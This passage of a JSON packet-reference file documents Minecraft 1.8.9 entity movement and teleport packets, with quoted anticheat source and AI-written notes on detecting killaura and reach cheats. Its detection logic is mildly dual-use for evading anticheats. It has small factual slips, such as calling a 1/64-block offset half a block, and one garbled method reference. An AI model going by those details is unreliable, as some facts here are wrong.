pendingPosition.getPosY() - confirmedPosition.getPosY();\n        double dz = pendingPosition.getPosZ() - confirmedPosition.getPosZ();\n\n        return Math.sqrt(dx * dx + dy * dy + dz * dz);\n    }\n\n    public void reset(double x, double y, double z) {\n        positions.clear();\n        TrackedPosition newPos = new TrackedPosition(x, y, z);\n        positions.add(newPos);\n        confirmedPosition = newPos;\n        pendingPosition = newPos.copy();\n        pendingMovement = EntityMovement.none();\n        awaitingConfirmation = false;\n    }\n\n    @Override\n    public String toString() {\n        return String.format(\"TrackedEntity{id=%d, pos=(%.2f,%.2f,%.2f), pending=%s, queueSize=%d}\",\n                entityId, getX(), getY(), getZ(), awaitingConfirmation, positions.size());\n    }\n}\n// NOTE (AI): The S14 deltas arrive as raw fixed-point bytes; TrackedEntity applies them directly as doubles, matching the client's own accumulation behavior.\n// NOTE (AI): The confirmed position only advances after the transaction confirms, which is the lag-compensation model used across the corpus.",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/util/player/tracker/entity/TrackedEntity.java",
       "variations": "Hydro's EntityTracker drives this class from PacketSendEvent, applying the deltas inside the transaction tracker's confirm window. AntiHaxerman's EntityTracker accumulates the same deltas into serverPosX/Y/Z and divides by 32.0 on connection confirm; Kauri's EntityTrackHandler adds the deltas into an interpolating EntityLocation with transaction-anchored application."
      },
      {
       "name": "EntityTrackHandler (entity move tracking)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Keep a server-side copy of every tracked entity's interpolated location from the S14 stream, and spawn fake mobs around a target to verify that the client's own entity tracking and aim match the server's.",
       "how_it_works": "onRelPosition looks up the entity in the world tracker, skips non-allowed types, then adds the packet's x, y, z, yaw and pitch to the entity's new EntityLocation and sets the interpolation increment to 3. onFlying advances interpolation for every tracked entity whenever the player sends a flying packet. runAction delays the state change until a transaction confirms, or uses an instant action for the current combat target, timestamping entity updates against the player's connection. For a teleporting target it spawns three magma-cube fake mobs around the entity plus a slime on the player's aim ray, then moves them with the entity, so the client's hitbox testing can be verified server-side.",
       "detects": "Killaura that attacks where the server holds no entity, hitbox spoofing, and clients whose entity tracking diverges from the sent stream.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/EntityTrackHandler.java =====\npackage dev.brighten.ac.handler;\n\nimport com.github.retrooper.packetevents.protocol.attribute.Attribute;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityDataTypes;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityPositionSync;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.handler.entity.FakeMob;\nimport dev.brighten.ac.handler.entity.TrackedEntity;\nimport dev.brighten.ac.packet.WPacketPlayOutEntity;\nimport dev.brighten.ac.utils.EntityLocation;\nimport dev.brighten.ac.utils.KLocation;\nimport dev.brighten.ac.utils.timer.Timer;\nimport dev.brighten.ac.utils.timer.impl.MillisTimer;\nimport dev.brighten.ac.utils.world.types.RayCollision;\nimport lombok.RequiredArgsConstructor;\n\nimport java.util.*;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n@RequiredArgsConstructor\npublic class EntityTrackHandler {\n\n    private final APlayer data;\n    private final Timer lastFlying = new MillisTimer();\n\n    public Set<Integer> canCreateMob = new HashSet<>();\n    public int streak;\n    public AtomicBoolean clientHasEntity = new AtomicBoolean(false);\n\n    private final Set<EntityType> allowedEntityTypes = Set.of(EntityTypes.ZOMBIE, EntityTypes.SHEEP,\n            EntityTypes.BLAZE, EntityTypes.SKELETON, EntityTypes.PLAYER, EntityTypes.VILLAGER, EntityTypes.IRON_GOLEM,\n            EntityTypes.WITCH, EntityTypes.COW, EntityTypes.CREEPER);\n\n    public Optional<Integer> getTargetOfFakeMob(int fakeMobId) {\n        for (TrackedEntity value : data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntities().values()) {\n            if(value.getFakeMobs().stream().anyMatch(mob -> mob.getEntityId() == fakeMobId)) {\n                return Optional.of(value.getEntityId());\n            }\n        }\n        return Optional.empty();\n    }\n\n    /**\n     *\n     * We are processing PacketPlayInFlying to iterate the tracked entity locations\n     *\n     */\n    void onFlying() {\n        if(lastFlying.isNotPassed(1)) streak++;\n        else {\n            streak = 1;\n        }\n\n        processZombie();\n\n        data.getWorldTracker().getCurrentWorld().get().getTrackedEntities().values().forEach(entity -> {\n            var oldLoc = entity.getOldEntityLocation();\n            var newLoc = entity.getNewEntityLocation();\n\n            if(oldLoc != null) {\n                if(oldLoc.interpolatedLocations.size() > 1 && oldLoc.increment == 0) {\n                    oldLoc.interpolatedLocations.removeFirst();\n                }\n                oldLoc.interpolateLocation();\n            }\n            if(newLoc != null) {\n                if(newLoc.interpolatedLocations.size() > 1 && newLoc.increment == 0) {\n                    newLoc.interpolatedLocations.removeFirst();\n                }\n                newLoc.interpolateLocation();\n            }\n        });\n\n        lastFlying.reset();\n    }\n\n    /**\n     *\n     * Processing PacketPlayOutRelativePosition for updating entity locations in a relative manner.\n     *\n     * @param packet WrappedOutRelativePosition\n     */\n    void onRelPosition(WPacketPlayOutEntity packet) {\n        Optional<TrackedEntity> entity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(packet.getId());\n\n        if(entity.isEmpty() || !allowedEntityTypes.contains(entity.get().getEntityType())) return;\n\n        processFakeMobs(packet.getId(), true, packet.getX(), packet.getY(), packet.getZ());\n\n        EntityLocation eloc = entity.get().getNewEntityLocation();\n\n        entity.get().setOldEntityLocation(entity.get().getNewEntityLocation().clone());\n\n        runAction(entity.get(), () -> {\n            //We don't need to do version checking here. Atlas handles this for us.\n            eloc.newX += packet.getX();\n            eloc.newY += packet.getY();\n            eloc.newZ += packet.getZ();\n            eloc.newYaw += packet.getYaw();\n            eloc.newPitch += packet.getPitch();\n\n            eloc.increment = 3;\n        });\n    }\n\n    void onPositionSync(WrapperPlayServerEntityPositionSync packet) {\n        Optional<TrackedEntity> entity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(packet.getId());\n\n        if(entity.isEmpty() || !allowedEntityTypes.contains(entity.get().getEntityType())) return;\n\n        processFakeMobs(packet.getId(), false, packet.getValues().getPosition().getX(),\n                packet.getValues().getPosition().getY(), packet.getValues().getPosition().getZ());\n\n        EntityLocation eloc = entity.get().getNewEntityLocation();\n\n        entity.get().setOldEntityLocation(entity.get().getNewEntityLocation().clone());\n\n        runAction(entity.get(), () -> {\n            //We don't need to do version checking here. Atlas handles this for us.\n            eloc.newX = packet.getValues().getPosition().getX();\n            eloc.newY = packet.getValues().getPosition().getY();\n            eloc.newZ = packet.getValues().getPosition().getZ();\n            eloc.newYaw = packet.getValues().getYaw();\n            eloc.newPitch = packet.getValues().getPitch();\n\n            eloc.increment = 3;\n        });\n    }\n    /**\n     *\n     * Processing PacketPlayOutEntityTeleport to update locations in a non-relative manner.\n     *\n     * @param packet WrappedOutEntityTeleportPacket\n     */\n    void onTeleportSent(WrapperPlayServerEntityTeleport packet) {\n        Optional<TrackedEntity> entity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(packet.getEntityId());\n\n        if(entity.isEmpty() || !allowedEntityTypes.contains(entity.get().getEntityType())) return;\n\n        processFakeMobs(packet.getEntityId(), false, packet.getPosition().getX(), packet.getPosition().getY(), packet.getPosition().getZ());\n\n        EntityLocation eloc = entity.get().getNewEntityLocation();\n\n        entity.get().setOldEntityLocation(entity.get().getNewEntityLocation().clone());\n\n        runAction(entity.get(), () -> {\n            if(data.getPlayerVersion().isNewerThanOrEquals(ClientVersion.V_1_9)) {\n                if (!(Math.abs(eloc.x - packet.getPosition().getX()) >= 0.03125D)\n                        && !(Math.abs(eloc.y - packet.getPosition().getY()) >= 0.015625D)\n                        && !(Math.abs(eloc.z - packet.getPosition().getZ()) >= 0.03125D)) {\n                    eloc.increment = 0;\n                    //We don't need to do version checking here. Atlas handles this for us.\n                    eloc.newX = eloc.x = packet.getPosition().getX();\n                    eloc.newY = eloc.y = packet.getPosition().getY();\n                    eloc.newZ = eloc.z = packet.getPosition().getZ();\n                    eloc.newYaw = eloc.yaw = packet.getYaw();\n                    eloc.newPitch = eloc.pitch = packet.getPitch();\n                } else {\n                    eloc.newX = packet.getPosition().getX();\n                    eloc.newY = packet.getPosition().getY();\n                    eloc.newZ = packet.getPosition().getZ();\n                    eloc.newYaw = packet.getYaw();\n                    eloc.newPitch = packet.getPitch();\n\n                    eloc.increment = 3;\n                }\n            } else {\n                //We don't need to do version checking here. Atlas handles this for us.\n                eloc.newX = packet.getPosition().getX();\n                eloc.newY = packet.getPosition().getY();\n                eloc.newZ = packet.getPosition().getZ();\n                eloc.newYaw = packet.getYaw();\n                eloc.newPitch = packet.getPitch();\n\n                eloc.increment = 3;\n            }\n        });\n    }\n\n    void updateAttributes(WrapperPlayServerUpdateAttributes attributes) {\n        data.runKeepaliveAction(ka -> {\n            TrackedEntity tracked = data.getWorldTracker().getCurrentWorld().get()\n                    .getTrackedEntity(attributes.getEntityId()).orElse(null);\n\n            if(tracked == null) return;\n\n            for (WrapperPlayServerUpdateAttributes.Property property : attributes.getProperties()) {\n                Attribute attribute = property.getAttribute();\n\n                if(attributes.getEntityId() == data.getBukkitPlayer().getEntityId() && attribute == Attributes.MOVEMENT_SPEED) {\n                    ValuedAttribute value = tracked.getAttribute(attribute);\n\n                    value.updateAttribute(property);\n                    data.getInfo().setWalkSpeed(value.getValue());\n                }\n\n                tracked.updateAttribute(property);\n            }\n        });\n    }\n\n    /**\n     *\n     * We are running an action when a transaction is received. If the Entity provided is currently a target,\n     * we want to send a tranasction on this method being run and use that to more accurately get an estimate of when\n     * the client receives the transaction relative to what we want in the action. If not the target, then we use our\n     * transaction system which sends one transaction every tick, and then on return runs a list of Runnables which\n     * may be less accurate in some situations, but uses less processing and network resources.\n     *\n     * @param entity Entity\n     * @param action Runnable\n     */\n    private void runAction(TrackedEntity entity, Runnable action) {\n        if(data.getInfo().getTarget() != null && data.getInfo().getTarget().getEntityId() == entity.getEntityId()) {\n            data.runInstantAction(ia -> {\n                if(!ia.isEnd()) {\n                    action.run();\n                } else entity.setOldEntityLocation(null);\n            }, true);\n        } else {\n            data.runKeepaliveAction(keepalive -> action.run());\n            data.runKeepaliveAction(keepalive ->\n                    entity.setOldEntityLocation(null), 1);\n        }\n    }\n\n    public void onEntityDestroy(WrapperPlayServerDestroyEntities packet) {\n        data.runKeepaliveAction(ka -> {\n            for(int id : packet.getEntityIds()) {\n                removeFakeMob(id);\n            }\n        });\n    }\n\n    public void removeFakeMob(int id) {\n        if(data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntities().containsKey(id)) {\n            List<FakeMob> mobs = data.getWorldTracker().getCurrentWorld().get()\n                    .getTrackedEntity(id).map(TrackedEntity::getFakeMobs).orElse(new ArrayList<>());\n\n            for (FakeMob mob : mobs) {\n                mob.despawn();\n            }\n\n            mobs.clear();\n        }\n        clientHasEntity.set(false);\n    }\n\n    private static final double[] offsets = new double[]{-1.25, 0, 1.25};\n\n    private void createFakeMob(int entityId, KLocation location) {\n        if (!canCreateMob.contains(entityId)) return;\n\n        Optional<TrackedEntity> trackedEntity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(entityId);\n\n        Optional<TrackedEntity> playerEntity = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(data.getBukkitPlayer().getEntityId());\n\n        if(trackedEntity.isEmpty() || playerEntity.isEmpty()) return;\n\n        for (double offset : offsets) {\n            FakeMob mob = new FakeMob(EntityTypes.MAGMA_CUBE);\n\n            List<EntityData<?>> types = new ArrayList<>();\n            EntityData<?> entityData = new EntityData<>(16, EntityDataTypes.BYTE, (byte)10);\n            types.add(entityData);\n\n            // Setting Magma cube size to size 10\n            mob.spawn(true, location.clone().add(offset, offset, offset),\n                    types, data);\n\n            trackedEntity.get().getFakeMobs().add(mob);\n        }\n\n        KLocation eyeLoc = data.getMovement().getTo().getLoc().clone()\n                .add(0, data.getEyeHeight() / 2.5, 0);\n\n        RayCollision collision = new RayCollision(eyeLoc.toVector(), eyeLoc.getDirection());\n\n        Vector3d point = collision.collisionPoint(0.4);\n\n        FakeMob mob = new FakeMob(EntityTypes.SLIME);\n        List<EntityData<?>> types = new ArrayList<>();\n        EntityData<?> entityData = new EntityData<>(16, EntityDataTypes.BYTE, (byte)5);\n\n        types.add(entityData);\n        mob.spawn(true, new KLocation(point.getX(), point.getY(), point.getZ()), types, data);\n\n        playerEntity.get().getFakeMobs().add(mob);\n\n        canCreateMob.remove(entityId);\n\n        data.runKeepaliveAction(ka -> clientHasEntity.set(true));\n    }\n\n    public void processZombie() {\n        List<FakeMob> fakeMobs = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(data.getBukkitPlayer().getEntityId())\n                .map(TrackedEntity::getFakeMobs)\n                .orElse(new ArrayList<>());\n\n        if(fakeMobs.size() > 1) {\n            fakeMobs.forEach(fakeMob -> removeFakeMob(fakeMob.getEntityId()));\n        }\n\n        for (FakeMob fakeMob : fakeMobs) {\n            if(fakeMob.getType() == EntityTypes.SLIME) {\n                KLocation eyeLoc = data.getMovement().getTo().getLoc().clone().add(0, 0.6, 0);\n\n                RayCollision collision = new RayCollision(eyeLoc.toVector(), eyeLoc.getDirection());\n\n                Vector3d point = collision.collisionPoint(0.4);\n\n                fakeMob.teleport(point.getX(), point.getY(), point.getZ(), 0 ,0);\n                break;\n            }\n        }\n    }\n\n    public void processFakeMobs(int entityId, boolean rel, double x, double y, double z) {\n        List<FakeMob> fakeMobs = data.getWorldTracker().getCurrentWorld().get()\n                .getTrackedEntity(entityId).map(TrackedEntity::getFakeMobs).orElse(new ArrayList<>());\n\n        if(fakeMobs.isEmpty()) {\n            if(!rel) {\n                createFakeMob(entityId, new KLocation(x, y, z));\n            }\n\n            if(data.getInfo().getTarget() != null && data.getInfo().getTarget().getEntityId() == entityId) {\n                clientHasEntity.set(false);\n            }\n            return;\n        }\n\n        if(fakeMobs.size() != offsets.length + 1) {\n            fakeMobs.forEach(fakeMob -> removeFakeMob(fakeMob.getEntityId()));\n        }\n\n        int current = 0;\n        for (FakeMob fakeMob : fakeMobs) {\n            double offset = offsets[current++];\n\n            if(rel) {\n                fakeMob.move(x, y, z);\n            } else {\n                fakeMob.teleport(x + offset, y + offset, z + offset, 0, 0);\n            }\n        }\n    }\n}\n// NOTE (AI): The fake-mob mechanism only activates for entities that can be targeted (canCreateMob), and the ray collision test uses a 0.4-meter collision point, so the check is a killaura verifier rather than a movement check.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/EntityTrackHandler.java",
       "variations": "The same handler applies S18 teleports through onTeleportSent and S20 attributes through updateAttributes; WPacketPlayOutEntity is Kauri's internal wrapper for the S14 subclasses. Hydro and AntiHaxerman cover the same tracking duty with simpler, non-interpolating position queues."
      },
      {
       "name": "ReachD (reach against player positions)",
       "found_in": [
        "freppp-ThotPatrol"
       ],
       "purpose": "Classic 1.8 reach check; the corpus hit is the author's own TODO comment stating that tracking PacketPlayOutRelEntityMove and testing the AABB would be far more accurate than the Bukkit-position math the check actually uses.",
       "how_it_works": "On PacketAttackEvent the check measures the distance between attacker and victim eye locations, subtracts the vertical difference and a fixed 0.32 hitbox accommodation, and compares the result against maxReach. The threshold is inflated by ground state, yaw difference, recent horizontal speed (tracked on PlayerMoveEvent), the average ping of both players, TPS and the attacker's speed potion level. Three consecutive exceedances log a cheat.",
       "detects": "Blatant reach abuse against players, with tolerance for lag, elevation and speed.",
       "detailed_code": "// ===== FILE: freppp-ThotPatrol, src/main/java/me/frep/thotpatrol/checks/combat/reach/ReachD.java =====\npackage me.frep.thotpatrol.checks.combat.reach;\n\nimport me.frep.thotpatrol.ThotPatrol;\nimport me.frep.thotpatrol.checks.Check;\nimport me.frep.thotpatrol.packets.PacketPlayerType;\nimport me.frep.thotpatrol.packets.events.PacketAttackEvent;\nimport me.frep.thotpatrol.utils.UtilMath;\nimport me.frep.thotpatrol.utils.UtilPlayer;\nimport org.bukkit.GameMode;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.player.PlayerMoveEvent;\nimport org.bukkit.event.player.PlayerQuitEvent;\nimport org.bukkit.potion.PotionEffect;\nimport org.bukkit.potion.PotionEffectType;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.UUID;\n\npublic class ReachD extends Check {\n\t\n\tpublic static Map<UUID, Integer> verbose = new HashMap<UUID, Integer>();\n\tprivate Map<UUID, Double> lastDist = new HashMap<>();\n\tprivate Map<UUID, Integer> beforeVL = new HashMap<>();\n\t\n    public ReachD(ThotPatrol ThotPatrol) {\n        super(\"ReachD\", \"Reach (Type D)\", ThotPatrol);\n        setEnabled(true);\n        setBannable(true);\n        setMaxViolations(7);\n\t\tsetViolationResetTime(120000);\n    }\n\n    //todo this is a somewhat decent blatant reach check, it shouldnt false too much, but obviously using PacketPlayOutRelEntityMove and AABB is much more accurate than anything that will be found in here\n    \n    @EventHandler\n    public void onLeave(PlayerQuitEvent e) {\n    \tverbose.remove(e.getPlayer().getUniqueId());\n    \tlastDist.remove(e.getPlayer().getUniqueId());\n    \tbeforeVL.remove(e.getPlayer().getUniqueId());\n    }\n    \n    @EventHandler\n    public void onAttack(PacketAttackEvent e) {\n    \tif (!(e.getEntity() instanceof Player)) {\n    \t\treturn;\n\t\t}\n\t\tPlayer d = e.getPlayer();\n\t\tPlayer p = (Player)e.getEntity();\n\t\tif(e.getType() != PacketPlayerType.USE\n\t\t\t|| d.hasPermission(\"thotpatrol.bypass\")\n\t\t\t|| d.getAllowFlight()\n\t\t\t|| p.getAllowFlight()\n\t\t\t|| d.getGameMode().equals(GameMode.CREATIVE)) {\n\t\t\treturn;\n\t\t}\n\t\tint count = verbose.getOrDefault(d.getUniqueId(), 0);\n\t\tint preVL = beforeVL.getOrDefault(d.getUniqueId(), 0);\n\t\tdouble yDist = Math.abs(UtilPlayer.getEyeLocation(d).getY() - UtilPlayer.getEyeLocation(p).getY()) > 0.5 \n\t\t\t\t? Math.abs(UtilPlayer.getEyeLocation(d).getY() - UtilPlayer.getEyeLocation(p).getY()) : 0;\n\t\tdouble yawDiff = Math.abs(180 - Math.abs(d.getLocation().getYaw() - p.getLocation().getYaw()));\n        double reach = (UtilPlayer.getEyeLocation(d).distance(p.getEyeLocation()) - yDist) - 0.32;\n        if (reach > 6.5) return;\n\t\tdouble maxReach = 3.1;\n\t\tdouble speed = lastDist.getOrDefault(d.getUniqueId(), 0D);\n\t\tdouble tps = getThotPatrol().getLag().getTPS();\n\t\tint ping = getThotPatrol().getLag().getPing(d);\n\t\tint ping2 = getThotPatrol().getLag().getPing(p);\n\t\tif (!UtilPlayer.isOnGround(d)) {\n\t\t\tmaxReach += .23;\n\t\t}\n\t\tmaxReach += yawDiff > 100 && yDist < 0.1 ? yawDiff * 0.01 : yawDiff * 0.001;\n\t\tmaxReach += speed * .58;\n\t\tmaxReach += yDist * .75;\n\t\tmaxReach += ((ping + ping2) / 2) * 0.0034;\n\t\tfor (PotionEffect effect : d.getActivePotionEffects()) {\n\t\t\tif (effect.getType().equals(PotionEffectType.SPEED)) {\n\t\t\t\tint level = effect.getAmplifier() + 1;\n\t\t\t\tmaxReach += level * .125;\n\t\t\t}\n\t\t}\n\t\tif (reach > maxReach) {\n\t\t\tcount++;\n\t\t} else {\n\t\t\tif (count > 0) {\n\t\t\t\tcount--;\n\t\t\t}\n\t\t}\n\t\tif (count > 3) {\n\t\t\tgetThotPatrol().verbose(this, d, ping, tps, reach + \" > \" + maxReach);\n\t\t\tpreVL++;\n\t\t}\n\t\tif (preVL >= 2) {\n\t\t\tcount = 0;\n\t\t\tpreVL = 0;\n\t\t\tgetThotPatrol().logCheat(this, d, \"Reach: \" + reach + \" > \" + maxReach + \" | Ping: \" + ping + \" | TPS: \" + tps);\n        \tgetThotPatrol().logToFile(d, this, \"Reach (Consecutive)\", \"Reach: \" + reach \n        \t\t\t+ \" > \" + maxReach + \" | TPS: \" + tps + \" | Ping: \" + ping);\n\t\t}\n\t\tbeforeVL.put(d.getUniqueId(), preVL);\n\t\tverbose.put(d.getUniqueId(), count);\n    }\n\n    \n    @EventHandler\n    public void onMove(PlayerMoveEvent e) {\n    \tPlayer p = e.getPlayer();\n    \tdouble dist = UtilMath.getHorizontalDistance(e.getTo(), e.getFrom());\n    \tlastDist.put(p.getUniqueId(), dist);\n    }\n}\n// NOTE (AI): The packet class itself never appears in this file; the corpus match is the author's TODO comment. Included to show the historical gap between Bukkit-position reach checks and S14-driven AABB reach.",
       "code_source": "freppp-ThotPatrol, src/main/java/me/frep/thotpatrol/checks/combat/reach/ReachD.java",
       "variations": "The commented TODO names the S14-based approach (accumulating rel-move deltas and testing the entity AABB) as the accurate alternative; the modern trackers in this corpus (Hydro TrackedEntity, Kauri EntityTrackHandler, AntiHaxerman EntityTracker) implement exactly that approach and feed it into their own reach checks."
      },
      {
       "name": "NetworkFilter (entity packet admission control)",
       "found_in": [
        "Tecnio-AntiHaxerman"
       ],
       "purpose": "Whitelist the packet classes AntiHaxerman's trackers may consume, including the three S14 subclasses, so entity replication only runs for state that actually reaches the client.",
       "how_it_works": "The constructor registers GPacketPlayServerEntity and its Look, RelEntityMove and RelEntityMoveLook inner classes, plus entity teleport, spawn, destroy, velocity, attributes and the movement/transaction set. isAllowed is the gate every later pipeline stage checks before processing a packet.",
       "detects": "Nothing directly; it is admission control for the tracker pipeline that feeds reach, velocity and position checks.",
       "detailed_code": "// ===== FILE: Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/listener/network/NetworkFilter.java =====\npackage me.tecnio.ahm.listener.network;\n\nimport cc.ghast.packet.wrapper.packet.play.client.*;\nimport cc.ghast.packet.wrapper.packet.play.server.*;\n\nimport java.util.Arrays;\nimport java.util.HashSet;\n\npublic final class NetworkFilter {\n\n    private final HashSet<Class<?>> filters = new HashSet<>();\n\n    public NetworkFilter() {\n        this.filters.addAll(Arrays.asList(\n                GPacketPlayClientFlying.class,\n                GPacketPlayClientPosition.class,\n                GPacketPlayClientPositionLook.class,\n                GPacketPlayClientLook.class,\n                GPacketPlayClientUseEntity.class,\n                GPacketPlayClientKeepAlive.class,\n                GPacketPlayServerKeepAlive.class,\n                GPacketPlayClientTransaction.class,\n                GPacketPlayServerTransaction.class,\n                GPacketPlayServerEntity.class,\n                GPacketPlayServerEntity.GPacketPlayServerEntityLook.class,\n                GPacketPlayServerEntity.GPacketPlayServerRelEntityMove.class,\n                GPacketPlayServerEntity.GPacketPlayServerRelEntityMoveLook.class,\n                GPacketPlayServerEntityTeleport.class,\n                GPacketPlayServerSpawnNamedEntity.class,\n                GPacketPlayServerEntityDestroy.class,\n                GPacketPlayClientBlockPlace.class,\n                GPacketPlayClientArmAnimation.class,\n                GPacketPlayClientBlockDig.class,\n                GPacketPlayClientHeldItemSlot.class,\n                GPacketPlayServerPosition.class,\n                GPacketPlayServerBlockChange.class,\n                GPacketPlayServerBlockChangeMulti.class,\n                GPacketPlayClientEntityAction.class,\n                GPacketPlayServerEntityEffect.class,\n                GPacketPlayServerEntityEffectRemove.class,\n                GPacketPlayServerUpdateAttributes.class,\n                GPacketPlayServerEntityVelocity.class,\n                GPacketPlayClientBlockDig.class\n        ));\n    }\n\n    public boolean isAllowed(final Class<?> clazz) {\n        return this.filters.contains(clazz);\n    }\n}\n// NOTE (AI): AntiHaxerman classifies the S14 subclasses so the EntityTracker can distinguish relative moves from look-only updates and teleports, mirroring vanilla's subclass structure.",
       "code_source": "Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/listener/network/NetworkFilter.java",
       "variations": "Artemis reaches the same packet family through GPacketPlayServerEntity, Frequency through WrappedPacketPlayOutEntity, and FlopAC through its tinyprotocol NMSObject/Packet layer; all three appear in the corpus for the same reason."
      },
      {
       "name": "WrappedPacketPlayOutEntity (S14 wrapper)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus",
        "splatboydev-Degrade"
       ],
       "purpose": "Minimal 1.8 wrapper exposing the S14 base packet to Frequency's outgoing packet pipeline.",
       "how_it_works": "The class extends PacketWrapper over PacketPlayOutEntity, giving the processor layer a typed handle for entity move packets. The identical file ships in the FrequencyPlus fork and in Degrade, which is a Frequency derivative.",
       "detects": "Nothing directly; infrastructure for the processor pipeline that classifies entity packets.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/wrapper/impl/server/WrappedPacketPlayOutEntity.java =====\npackage xyz.elevated.frequency.wrapper.impl.server;\n\nimport net.minecraft.server.v1_8_R3.Packet;\nimport net.minecraft.server.v1_8_R3.PacketPlayOutEntity;\nimport xyz.elevated.frequency.wrapper.PacketWrapper;\n\npublic final class WrappedPacketPlayOutEntity extends PacketWrapper {\n\n    public WrappedPacketPlayOutEntity(final Packet<?> instance) {\n        super(instance, PacketPlayOutEntity.class);\n    }\n\n    public int getEntityId() {\n        return get(\"a\");\n    }\n\n    public double getDeltaX() {\n        return ((byte) get(\"b\")) / 32.d;\n    }\n\n    public double getDeltaY() {\n        return (byte) (get(\"c\")) / 32.d;\n    }\n\n    public double getDeltaZ() {\n        return ((byte) get(\"d\")) / 32.d;\n    }\n}\n// NOTE (AI): The wrapper is registered for the S14 base class, so it covers the S15/S16/S17 subclasses through inheritance, matching how the vanilla client handles the family.",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/wrapper/impl/server/WrappedPacketPlayOutEntity.java",
       "variations": "FrequencyPlus (MinecraftUserHAN1110) and Degrade (splatboydev) carry byte-identical copies of the file. AutoEye's PacketPlayOutEntity wrapper and FlopAC's tinyprotocol layer serve the same role on their own bases."
      }
     ]
    }
   },
   "wiki_notes": [
    "Yaw and pitch in the rotation updates are new absolute angles, not deltas, and for entities with separately rotating heads the yaw sets body rotation while head facing uses the head rotation packet.",
    "MCP 1.8.9 S14PacketEntity implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityMovement; wire serde is readPacketData/writePacketData via readBoolean, readByte, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.? sends new S14PacketEntity (line 205): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S14PacketEntity/",
   "mcp_path": "net/minecraft/network/play/server/S14PacketEntity.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S18PacketEntityTeleport",
   "hex": "0x18",
   "dec": 24,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Teleport",
   "desc": "Teleports an entity to an absolute position (fixed-point int × 32) and rotation.",
   "tags": [
    "entity",
    "position",
    "teleport",
    "movement"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "x/y/z",
     "type": "fixed-point int",
     "desc": "Absolute position × 32"
    },
    {
     "name": "yaw/pitch",
     "type": "byte",
     "desc": "Rotation × 256/360"
    },
    {
     "name": "onGround",
     "type": "boolean",
     "desc": "Whether the entity is on ground"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "X",
     "Int",
     "x * 32"
    ],
    [
     "Y",
     "Int",
     "y * 32"
    ],
    [
     "Z",
     "Int",
     "z * 32"
    ],
    [
     "Yaw",
     "byte",
     "yaw * 256/360"
    ],
    [
     "Pitch",
     "byte",
     "pitch * 256/360"
    ],
    [
     "On Ground",
     "bool",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityTeleport()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Unlike S14 (Entity Relative Move), S18 sets ABSOLUTE position: the entity moves to this exact location regardless of where it was. Used when players teleport (ender pearls, chorus fruit), mobs teleport (endermen), or when S14 cumulative errors need correction.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S18PacketEntityTeleport carries an absolute fixed-point position (ints x 32), rotation bytes and an onGround flag for one entity. It is the only entity-position packet with full coordinates, so it is both the correction mechanism for accumulated S14 error and the transport for genuine jumps: ender pearls, endermen, dimension changes and anything that moves more than 4 blocks in one tick. EntityTrackerEntry constructs it when the tracked entity's one-tick displacement exceeds the relative-move threshold (corpus line 222), and NetHandlerPlayServer sends it to a player on teleport (line 259)."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityTeleport (Memeware 7.3 bundle, line 511) overwrites serverPosX/Y/Z with the absolute values, computes position as serverPos / 32.0 with y + 0.015625 (half a block in fixed point, the eye-height accommodation), decodes yaw/pitch as * 360 / 256, and calls setPositionAndRotation2 with interpolation 3 and the teleport flag. If the entity is already within 0.03125 blocks (x/z) and 0.015625 (y) of the target it keeps the current position and applies only rotation, which prevents micro-jitter on repeated teleports."
     },
     {
      "h": "Why clients touch it",
